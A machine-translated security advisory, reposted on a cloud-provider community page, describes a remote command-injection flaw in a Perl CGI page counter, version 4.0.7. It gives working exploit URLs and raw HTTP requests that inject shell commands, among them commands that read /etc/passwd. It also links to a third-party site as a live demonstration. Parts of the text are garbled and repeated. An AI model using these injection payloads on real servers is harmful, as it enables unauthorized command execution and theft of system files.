PopularCGIwebpageaccesscounter4.0.7 allows remote execution

Source: Internet
Author: User
Involved program: Authorization Description: popularCGIwebpageaccesscounter4.0.7 allows remote execution of arbitrary commands. Details: popularCGIwebpageaccesscounter4.0.7 allows users to execute arbitrary commands without checking user input ,. Owned by users

Program involved: popular CGI web page access counter 4.0.7 Description: popular CGI web page access counter 4.0.7 allows remote execution of arbitrary commands. Details: popular CGI web page access counter 4.0.7 because user input is not checked, this allows you to execute arbitrary commands ,. Owned by users

Involved procedures:
Popular CGI web page access counter 4.0.7

Description:
Popular CGI web page access counter 4.0.7 Allow Remote RunAny command

Details:
Popular CGI web page access counter 4.0.7 AllowUser RunAny command,
. User-owned RunThe permissions of these commands are the same as those of the web server. using other Exploits, you can obtain the root permissions of the unpatched 'System.

This counter contains "counter" written in perl script, and counter-old, counterfiglet, counterfiglet-ord, counterbanner, and counterbanner-ord with multiple connections to "counter.
The following example shows how this vulnerability can be exploited.


Use the following URL
------------------
Http://www.xxx.com/cgi-bin/counterfiglet/nc/f=;echo;w;uname%20-a;id


Passing commands in a variable
------------------------------
> Telnet web-server www
GET/cgi-bin/counterfiglet/nc/f =; sh % 20-c % 20 "$ HTTP_X" HTTP/1.0
X: pwd; ls-la/etc; cat/etc/passwd


> Telnet web-server www
GET/cgi-bin/counter/nl/ord/lang = english (1); system ("$ ENV"); HTTP/1.0
X: echo; id; uname-a; w

Foreign demonstration sites
Http://seal.gatech.edu/cgi-bin/counterfiglet/nc/f=;echo;w;uname%20-a;ls


Solution:
Use other counters.

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.